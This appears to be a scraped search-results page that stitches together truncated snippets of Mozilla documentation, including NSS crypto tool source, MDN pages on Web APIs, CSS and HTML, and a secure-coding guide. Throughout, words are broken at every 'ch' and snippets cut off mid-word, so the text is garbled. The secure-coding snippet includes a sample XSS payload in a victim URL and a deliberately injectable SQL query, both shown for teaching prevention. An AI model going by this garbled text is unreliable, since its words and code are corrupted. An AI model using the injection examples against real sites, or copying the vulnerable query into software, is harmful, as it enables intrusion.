char *progname) { fprintf(stderr, "\nusage: %s -c <a|b> -d <dbdirpath> [-z <noisefilename>] " "[-p <dbpwd> | -f <dbpwdfile>] -i <ipfilename> -o <opfilename>\n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c <a|b>"); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr...
...tem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_me
chanism_type me
chanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return nu...
...ll; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, me
chanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned
char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finali...
...And 24 more matches
NSS tools : ssltab
it wat
ches tcp connections and displays the data going by.
...instead of outputting raw data, the command interprets ea
ch record as a numbered line of hex values, followed by the same data as ascii
characters.
...nonprinting
characters are replaced by dots.
...And 24 more matches
NSS tools : ssltap
it wat
ches tcp connections and displays the data going by.
...instead of outputting raw data, the command interprets ea
ch record as a numbered line of hex values, followed by the same data as ascii
characters.
...nonprinting
characters are replaced by dots.
...And 24 more matches
sslcrt.html
if you are inclined to help with this migration, your help would be very mu
ch appreciated.
... upgraded documentation may be found in the current nss reference certificate functions
chapter 5 certificate functions this
chapter describes the functions and related types used to work with a certificate database su
ch as the cert7.db database provided with communicator.
... validating certificates manipulating certificates getting certificate information comparing secitem objects validating certificates cert_verifycertnow cert_verifycertname cert_
checkcertvalidtimes nss_cmpcert
chainwcanames cert_verifycertnow
checks that the current date is within the certificate's validity period and that the ca signature on the certificate is valid.
...And 24 more matches
Secure Development Guidelines
introduction provide developers with information on specific security issues cover common coding mistakes and how they affect a product how to avoid making them how to mitigate them everything is oriented toward c/c++ introduction: gaining control specifics about the underlying ar
chitecture, using x86 as an example 6 basic registers (eax, ebx, ecx, edx, edi, esi) 2 stack-related registers (esp, ebp) mark top and bottom of current stack frame status register (eflags) contains various state information instruction pointer (eip) points to register being executed; can’t be modified directly introduction: gaining control (2) eip is modi...
...is exploitable (in some browsers) with a simple request su
ch as: http://www.victim.com?something=<script>alert('oops')</script> xss: prevention escape all dynamic input that will be sent back to the user html encoding & → & < → < > → > " → " ' → ' url encoding % encoding java/vbscript escaping depends on the context; in a single-quoted string, escaping ' would suffice ...
...ion occurs when un-trusted input is mixed with a sql string sql is a language used to interact with databases code injection attack that is similar to xss but targeted at sql rather than html and javascript if input is mixed with sql, it could itself become an sql instruction and be used to: query data from the database (passwords) insert value into the database (a user account)
change application logic based on results returned by the database sql injection: example snprintf(str, sizeof(str), "select * from account where name ='%s'", name); sqlite3_exec(db, str, null, null, null); sql injection: prevention use parameterized queries insert a marker for every piece of dynamic content so data does not get mixed with sql instructions example: sqlite3...
...And 24 more matches
nsIDOMOfflineResourceList
the nsidomofflineresourcelist interface provides access to the application ca
che that allows web content's resources to be ca
ched locally for use while offline.
... it includes methods for adding resources to and removing resources from the ca
che, as well as for enumerating the dynamically managed resource list.
... last
changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports method overview void mozadd(in domstring uri); boolean mozhasitem(in domstring uri); domstring mozitem(in unsigned long index); void mozremove(in domstring uri); void swapca
che(); void update(); attributes attribute type description mozitems nsidomofflineresourcelist the list of dynamically-managed entries in the offline resource list.
...And 24 more matches
nsISHEntry
docshell/shistory/public/nsishentry.idlscriptable ea
ch document or subframe in session history will have a nsishentry associated with it whi
ch will hold all information required to recreate the document from history.
... inherits from: nsihistoryentry last
changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/browser/session-history-entry;1.
... to create an instance, use: var shentry = components.classes["@mozilla.org/browser/session-history-entry;1"] .createinstance(components.interfaces.nsishentry); method overview void add
childshell(in nsidocshelltreeitem shell); nsidocshelltreeitem
childshellat(in long index); void clear
childshells(); nsishentry clone(); void create(in nsiuri uri, in astring title, in nsiinputstream inputstream, in nsilayouthistorystate layouthistorystate, in nsisupports ca
chekey, in acstring contenttype, in nsisupports owner, in unsigned long long docshellid, in boolean dynamiccreation); native code only!
...And 24 more matches
IDBDatabase - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbdatabase" target="_top"><rect x="151" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-fam...
...ily="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">idbdatabase</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties idbdatabase.name read only a domstring that contains the name of the connected database.
... idbdatabase.transaction() immediately returns a transaction object (idbtransaction) containing the idbtransaction.objectstore method, whi
ch you can use to access your object store.
...And 24 more matches
Using the Notifications API - Web APIs
typically, system notifications refer to the operating system's standard notification me
chanism: think for example of how a typical desktop system or mobile device broadcasts notifications.
...many examples of this now exist, su
ch as slack.
...this is a common requirement when an api tries to interact with something outside a web page — at least once, the user needs to specifically grant that application permission to present notifications, thereby letting the user control whi
ch apps/sites are allowed to display notifications.
...And 24 more matches
PasswordCredential - Web APIs
in supporting browsers an instance of this class may be passed in the credential member of the init object for global fet
ch.
... passwordcredential.additionaldata secure context one of a formdata instance, a urlsear
chparams instance, or null.
...this image is intended for display in a credential
chooser.
...And 24 more matches
ARIA: listbox role - Accessibility
the listbox role is used for lists from whi
ch a user may select one or more items whi
ch are static and, unlike html <select> elements, may contain images.
... description the listbox role is used to identify an element that creates a list from whi
ch a user may select one or more static items, similar to the html <select> element.
...ea
ch child of a listbox should have a role of option.
...And 24 more matches
background-size - CSS: Cascading Style Sheets
the image can be left to its natural size, stret
ched, or constrained to fit the available space.
... using a width value only, in whi
ch case the height defaults to auto.
... using both a width and a height value, in whi
ch case the first sets the width and the second sets the height.
...And 24 more matches
nsAString_internal
class declaration nstsubstring is the most abstract class in the string hierar
chy.
... it represents a single contiguous array of
characters, whi
ch may or may not be null-terminated.
... names: nsastring for wide
characters nsacstring for narrow
characters many of the accessors on nstsubstring are inlined as an optimization.
...And 22 more matches
nsIContentPrefService2
dom/interfaces/base/nsicontentprefservice2.idlscriptable asyn
chronous api for content preferences 1.0 66 introduced gecko 20.0 inherits from: nsisupports last
changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) description content preferences allow the application to associate arbitrary data, or "preferences", with specific domains, or web "content".
... specifically, a content preference is a structure with three values: a domain with whi
ch the preference is associated, a name that identifies the preference within its domain, and a value.
...as a consumer of this interface, you might
choose to let a global preference override all non- global preferences of the same name, for example, for whatever definition of "override" is appropriate for your use case.
...And 22 more matches
nsIHTMLEditor
inherits from: nsisupports last
changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) method overview void adddefaultproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void addinsertionlistener(in nsicontentfilter infilter); void align(in astring aalign); boolean breakisvisible(in nsidomnode anode); boolean candrag(in nsidomevent aevent); void
checkselectionstateforanonymousbuttons(in nsiselection aselection); nsidomelement createanonymouselement(in astring atag, in nsidomnode aparentnode, in astring aanonclass, in boolean aiscreatedhidden); nsidomelement createelementwithdefaults(in astrin...
...oid insertfromdrop(in nsidomevent aevent); void inserthtml(in astring ainputstring); void inserthtmlwithcontext(in astring ainputstring, in astring acontextstr, in astring ainfostr, in astring aflavor, in nsidomdocument asourcedoc, in nsidomnode adestinationnode, in long adestinationoffset, in boolean adeleteselection); void insertlinkaroundselection(in nsidomelement aan
chorelement); boolean isanonymouselement(in nsidomelement aelement); void makeor
changelist(in astring alisttype, in boolean entirelist, in astring abullettype); boolean nodeisblock(in nsidomnode node); void pastenoformatting(in long aselectiontype); void rebuilddocumentfromsource(in astring asourcestring); void removealldefaultproperties(); ...
...rty, in astring aattribute, in astring avalue); void setdocumenttitle(in astring atitle); void setinlineproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void setparagraphformat(in astring aparagraphformat); void updatebaseurl(); attributes attribute type description iscssenabled boolean a boolean whi
ch is true is the htmleditor has been instantiated with css knowledge and if the css pref is currently
checked.
...And 22 more matches
nsIUpdate
toolkit/mozapps/update/nsiupdateservice.idlscriptable an interface that describes an object representing an available update to the current application - this update may have several available pat
ches from whi
ch one must be selected to download and install, for example we might select a binary difference pat
ch first and attempt to apply that, then if the application process fails fall back to downloading a complete file-replace pat
ch.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsiupdatepat
ch getpat
chat(in unsigned long index); nsidomelement serialize(in nsidomdocument updates); attributes attribute type description appversion astring the application version of this update.
...
channel astring the
channel used to retrieve this update from the update service.
...And 22 more matches
Plug-in Development Overview - Plugins
plan your plug-in: decide on the services you want the plug-in software to provide and how it will interact with the browser and the special media for whi
ch the plug-in is created.
...you'll find an overview of the plug-in api methods in this
chapter, as well as separate
chapters for all of the major functional areas of the plug-in api.
... when it starts up, the browser
checks for plug-in modules for the platform and registers them.
...And 22 more matches
Debugger.Script - Firefox Developer Tools
ea
ch of the following is represented by a single jsscript object: the body of a function—that is, all the code in the function that is not contained within some nested function.
... a dom event handler, whether embedded in html or atta
ched to the element by other javascript code.
...for a given debugger instance, spidermonkey constructs exactly one debugger.script instance for ea
ch underlying script object; debugger code can add its own properties to a script object and expect to find them later, use == to decide whether two expressions refer to the same script, and so on.
...And 22 more matches
Settings - Firefox Developer Tools
opening settings beginning with firefox 62, the icon to open developer tools settings has been moved into a menu accessed by clicking/tou
ching ...
...you can
choose between the default setting at the bottom of the windows, or move the tools to the left or right side of the screen.
...you can also
choose to open the tools in a separate window.
...And 22 more matches
Drawing shapes with canvas - Web APIs
luckily, we have an assortment of path drawing functions whi
ch make it possible to compose very complex shapes.
... ea
ch of these three functions takes the same parameters.
... screenshotlive sample the fillrect() function draws a large black square 100 pixels on ea
ch side.
...And 22 more matches
Event - Web APIs
the event interface represents an event whi
ch takes place in the dom.
...clicking the mouse button or tapping keyboard, or generated by apis to represent the progress of an asyn
chronous task.
... it can also be triggered programmatically, su
ch as by calling the htmlelement.click() method of an element, or by defining the event, then sending it to a specified target using eventtarget.dispat
chevent().
...And 22 more matches
Using the Gamepad API - Web APIs
html5 introduced many of the necessary components for ri
ch, interactive game development.
... te
chnologies like <canvas>, webgl, <audio>, and <video>, along with javascript implementations, have matured to the point where they can now support many tasks previously requiring native code.
...in addition to these events, the api also adds a gamepad object, whi
ch you can use to query the state of a connected gamepad, and a navigator.getgamepads() method whi
ch you can use to get a list of gamepads known to the page.
...And 22 more matches
HTMLElement - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, element, and implements those from documentandelementeventhandlers, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement and tou
cheventhandlers.
...And 22 more matches
HTMLTextAreaElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltextareaelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="midd...
...And 22 more matches
SVGSVGElement - Web APIs
this interface contains also various miscellaneous commonly-used utility methods, su
ch as matrix operations and the ability to control the time of redraw on visual rendering devices.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...And 22 more matches
Using server-sent events - Web APIs
for example, assuming the client script is on example.com: const evtsource = new eventsource("//api.example.com/ssedemo.php", { withcredentials: true } ); once you've instantiated your event source, you can begin listening for messages from the server by atta
ching a handler for the message event: evtsource.onmessage = function(event) { const newelement = document.createelement("li"); const eventlist = document.getelementbyid("list"); newelement.innerhtml = "message: " + event.data; eventlist.append
child(newelement); } this code listens for incoming messages (that is, notices from the server that do not have an event field on them) and append...
... you can also listen for events with addeventlistener(): evtsource.addeventlistener("ping", function(event) { const newelement = document.createelement("li"); const time = json.parse(event.data).time; newelement.innerhtml = "ping at " + time; eventlist.append
child(newelement); }); this code is similar, except that it will be called automatically whenever the server sends a message with the event field set to "ping"; it then parses the json in the data field and outputs that information.
... when not used over http/2, sse suffers from a limitation to the maximum number of open connections, whi
ch can be especially painful when opening multiple tabs, as the limit is per browser and is set to a very low number (6).
...And 22 more matches
Lifetime of a WebRTC session - Web APIs
this article doesn't get into details of the actual apis involved in establishing and handling a webrtc connection; it simply reviews the process in general with some information about why ea
ch step is required.
...network address translation (nat) is a standard whi
ch supports this address sharing by handling routing of data inbound and outbound to and from devices on a lan, all of whi
ch are sharing a single wan (global) ip address.
... the problem for users is that ea
ch individual computer on the internet no longer necessarily has a unique ip address, and, in fact, ea
ch device’s ip address may
change not only if they move from one network to another, but if their network’s address is
changed by nat and/or dhcp.
...And 22 more matches
Writing WebSocket servers - Web APIs
the task of creating a custom server tends to scare people; however, it can be straightforward to implement a simple websocket server on your platform of
choice.
... a websocket server can be written in any server-side programming language that is capable of berkeley sockets, su
ch as c(++), python, php, or server-side javascript.
...websocket servers are often separate and specialized servers (for load-balancing or other practical reasons), so you will often use a reverse proxy (su
ch as a regular http server) to detect websocket handshakes, pre-process them, and send those clients to a real websocket server.
...And 22 more matches
Box-shadow generator - CSS: Cascading Style Sheets
data-type="subject" data-title=":before"> :before <span class="delete" data-type="disable"></span> </div> <div class="button" id="after" data-type="subject" data-title=":after"> :after <span class="delete" data-type="disable"></span> </div> <div class="ui-
checkbox" data-topic='before' data-label=":before"></div> <div class="ui-
checkbox" data-topic='after' data-label=":after"></div> </div> <div id="preview"> <div id="obj-element"> <div class="content"> </div> <div id="obj-before"> </div> <div id="obj-after"> </div> </div...
... </div> </div> </div> <div class="wrap-right"> <div id="shadow_properties" class="category"> <div class="title"> shadow properties </div> <div class="group"> <div class="group property"> <div class="ui-slider-name"> inset </div> <div class="ui-
checkbox" data-topic='inset'></div> </div> <div class="slidergroup"> <div class="ui-slider-name"> position x </div> <div class="ui-slider-btn-set" data-topic="posx" data-type="sub"></div> <div class="ui-slider" data-topic="posx" data-min="-500" data-max="500" da...
..."px"></div> </div> </div> </div> <div id="element_properties" class="category"> <div class="title"> class element properties </div> <div class="group"> <div class="group property"> <div class="ui-slider-name"> border </div> <div class="ui-
checkbox" data-topic='border-state' data-state="true"></div> </div> <div id="z-index" class="slidergroup"> <div class="ui-slider-name"> z-index </div> <div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"></div> <div class="ui-slider" data-topic="z-index" ...
...And 22 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
css grid layout implements the specification box alignment level 3 whi
ch is the same standard flexbox uses for aligning items in its flex container.
...due to grid being two-dimensional and flexbox one-dimensional there are some small differences that you should wat
ch out for.
...the block axis is the axis upon whi
ch blocks are laid out in block layout.
...And 22 more matches
position - CSS: Cascading Style Sheets
syntax the position property is specified as a single keyword
chosen from the list of values below.
...it is positioned relative to the initial containing block established by the viewport, except when one of its ancestors has a transform, perspective, or filter property set to something other than none (see the css transforms spec), in whi
ch case that ancestor behaves as the containing block.
...note that a sticky element "sticks" to its nearest ancestor that has a "scrolling me
chanism" (created when overflow is hidden, scroll, auto, or overlay), even if that ancestor isn't the nearest actually scrolling ancestor.
...And 22 more matches
Live streaming web audio and video - Developer guides
live streaming te
chnology is often employed to relay live events su
ch as sports, concerts and more generally tv and radio programmes that are output live.
...usually, we require different formats and special server-side software to a
chieve this.
... adaptive streaming one of the main priorities for live streaming is to keep the player syn
chronized with the stream: adaptive streaming is a te
chnique for doing this in the case of low bandwidth.
...And 22 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
the alt attribute holds a text description of the image, whi
ch isn't mandatory but is incredibly useful for accessibility — screen readers read this description out to their users so they know what the image means.
... there are many other attributes to a
chieve various purposes: referrer/cors control for security and privacy: see crossorigin and referrerpolicy.
... supported image formats the html standard doesn't list what image formats to support, so ea
ch user agent supports different formats.
...And 22 more matches
<input type="date"> - HTML: Hypertext Markup Language
among browsers with custom interfaces for selecting dates are
chrome and opera, whose data control looks like so: the edge date control looks like: and the firefox date control looks like this: value a domstring representing a date in yyyy-mm-dd format, or empty events
change and input supported common attributes autocomplete, list, readonly, and step idl attributes list, value, valueasdate, valueasnumbe...
... step the step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, whi
ch is described below.
... only values whi
ch are equal to the basis for stepping (min if specified, value otherwise, and an appropriate default value if neither of those is provided) are valid.
...And 22 more matches
<input type="week"> - HTML: Hypertext Markup Language
the control's user interface varies from browser to browser; cross-browser support is currently a bit limited, with only
chrome/opera and microsoft edge supporting it at this time.
... in
chrome/opera the week control provides slots to fill in week and year values, a pop-up calendar interface to select them more visually, and an "x" button to clear the control's value.
... value a domstring representing a week and year, or empty events
change and input supported common attributes autocomplete, list, readonly, and step idl attributes value, valueasdate, valueasnumber, and list.
...And 22 more matches
<tbody>: The Table Body element - HTML: Hypertext Markup Language
tag omission the <tbody> element is not a required
child element for a parent <table> element to graphically render.
... however, it must not be present, if its parent <table> element has a <tr> element as a
child.
... deprecated attributes align this enumerated attribute specifies how horizontal alignment of ea
ch cell content will be handled.
...And 22 more matches
Preloading content with rel="preload" - HTML: Hypertext Markup Language
the preload value of the <link> element's rel attribute lets you declare fet
ch requests in the html's <head>, specifying resources that your page will need very soon, whi
ch you want to start loading early in the page lifecycle, before browsers' main rendering ma
chinery kicks in.
... the basics you most commonly use <link> to load a css file to style your page with: <link rel="stylesheet" href="styles/main.css"> here however, we will use a rel value of preload, whi
ch turns <link> into a preloader for any resource we want.
... a simple example might look like this (see our js and css example source, and also live): <head> <meta
charset="utf-8"> <title>js and css preload example</title> <link rel="preload" href="style.css" as="style"> <link rel="preload" href="main.js" as="script"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>bouncing balls</h1> <canvas></canvas> <script src="main.js" defer></script> </body> here we preload our css and javascript files so they will be available as soon as they are required for the rendering of the page later on.
...And 22 more matches
Using HTTP cookies - HTTP
an expiration date or duration can be specified, after whi
ch the cookie is no longer sent.
...a simple cookie is set like this: set-cookie: <cookie-name>=<cookie-value> this shows the server sending headers to tell the client to store a pair of cookies: http/2.0 200 ok content-type: text/html set-cookie: yummy_cookie=
choco set-cookie: tasty_cookie=strawberry [page content] then, with every subsequent request to the server, the browser sends back all previously stored cookies to the server using the cookie header.
... get /sample_page.html http/2.0 host: www.example.org cookie: yummy_cookie=
choco; tasty_cookie=strawberry note: here's how to use the set-cookie header in various server-side applications: php node.js python ruby on rails define the lifetime of a cookie the lifetime of a cookie can be defined in two ways: session cookies are deleted when the current session ends.
...And 22 more matches
Array - JavaScript
the javascript array class is a global object that is used in the construction of arrays; whi
ch are high-level, list-like objects.
...since an array's length can
change at any time, and data can be stored at non-contiguous locations in the array, javascript arrays are not guaranteed to be dense; this depends on how the programmer
chooses to use them.
... in general, these are convenient
characteristics; but if these features are not desirable for your particular use, you might consider using typed arrays.
...And 22 more matches
dominant-baseline - SVG: Scalable Vector Graphics
the dominant-baseline attribute specifies the dominant baseline, whi
ch is the baseline used to align the box’s text and inline-level contents.
... if the computed baseline-shift value actually shifts the baseline, then the baseline-table font-size component is set to the value of the font-size attribute on the element on whi
ch the dominant-baseline attribute occurs, otherwise the baseline-table font-size remains the same as that of the element.
... use-script the dominant-baseline and the baseline-table components are set by determining the predominant script of the
character data content.
...And 22 more matches
Implementing controls using the Gamepad API - Game development
now in the era of html5, we finally have the gamepad api, whi
ch gives us the ability to play browser-based games using gamepad controllers without any plugins.
... the gamepad api a
chieves this by providing an interface exposing button presses and axis
changes that can be used inside javascript code to handle the input.
... api status and browser support the gamepad api is still at the working draft stage in the w3c process, whi
ch means its implementation might still
change, but saying that the browser support is already quite good.
...And 21 more matches
Styling lists - Learn web development
the unstyled example is available on github (
check out the source code too.) the html for our list example looks like so: <h2>shopping (unordered) list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <ul> <li>hummus</li> <li>pita</li> <li>green salad</li> <li>halloumi</li> </ul> <h2>recipe (ordered) list</h2> <p>parag...
...raph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <ol> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and
chop the salad.</li> <li>fill pita with salad, hummus, and fried halloumi.</li> </ol> <h2>ingredient description list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <dl> <dt>hummus</dt> <dd>a thick dip/sauce generally made from
chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd> <dt>pita</dt> <dd>a soft, slightly leav...
...ened flatbread.</dd> <dt>halloumi</dt> <dd>a semi-hard, unripened, brined
cheese with a higher-than-usual melting point, usually made from goat/sheep milk.</dd> <dt>green salad</dt> <dd>that green healthy stuff that many of us just use to garnish kebabs.</dd> </dl> if you go to the live example now and investigate the list elements using browser developer tools, you'll notice a couple of styling defaults: the <ul> and <ol> elements have a top and bottom margin of 16px (1em) and a padding-left of 40px (2.5em.) the list items (<li> elements) have no set defaults for spacing.
...And 21 more matches
How to structure a web form - Learn web development
ea
ch time you want to create an html form, you must start it by using this element, nesting all the contents inside.
... many assistive te
chnologies and browser plugins can discover <form> elements and implement special hooks to make them easier to use.
... many assistive te
chnologies will use the <legend> element as if it is a part of the label of ea
ch control inside the corresponding <fieldset> element.
...And 21 more matches
Getting started with Ember - Learn web development
previous overview: client-side javascript frameworks next in our first ember article we will look at how ember works and what it's useful for, install the ember tool
chain locally, create a sample app, and then do some initial setup to get it ready for development.
... a deeper understanding of modern javascript features (su
ch as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them.
...components are individual bundles of behavior, style, and markup — mu
ch like what other frontend frameworks provide, su
ch as react, vue, and angular.
...And 21 more matches
Getting started with Vue - Learn web development
this allows you to create markup managed entirely by vue, whi
ch can improve developer experience and performance when dealing with complex applications.
...additionally, vue takes a "middle ground" approa
ch to tooling like client-side routing and state management.
... in addition to allowing you to progressively integrate vue into your applications, vue also provides a progressive approa
ch to writing markup.
...And 21 more matches
Message manager overview
in the initial version of multiprocess firefox there are two processes: the
chrome process, also called the parent process, runs the browser ui (
chrome) code and code inserted by extensions the content processes, also called the
child processes, run all web content.
...at the top level, there are two different sorts of message managers: frame message managers: these enable
chrome process code to load a script into a browser frame (essentially, a single browser tab) in the content process.
...if
chrome code wants to run code in the content process so it can access web content, this is usually the sort of message manager to use.
...And 21 more matches
PopupNotifications.jsm
note: this code module is imported by firefox
chrome windows, so you don't have to do it yourself in most extensions.
... method overview void location
change(); notification getnotification(id, browser); void remove(notification); notification show(browser, id, message, an
chorid, mainaction, secondaryactions, options); properties attribute type description ispanelopen boolean returns true if the notification panel is currently visible, false if it is not.
... methods location
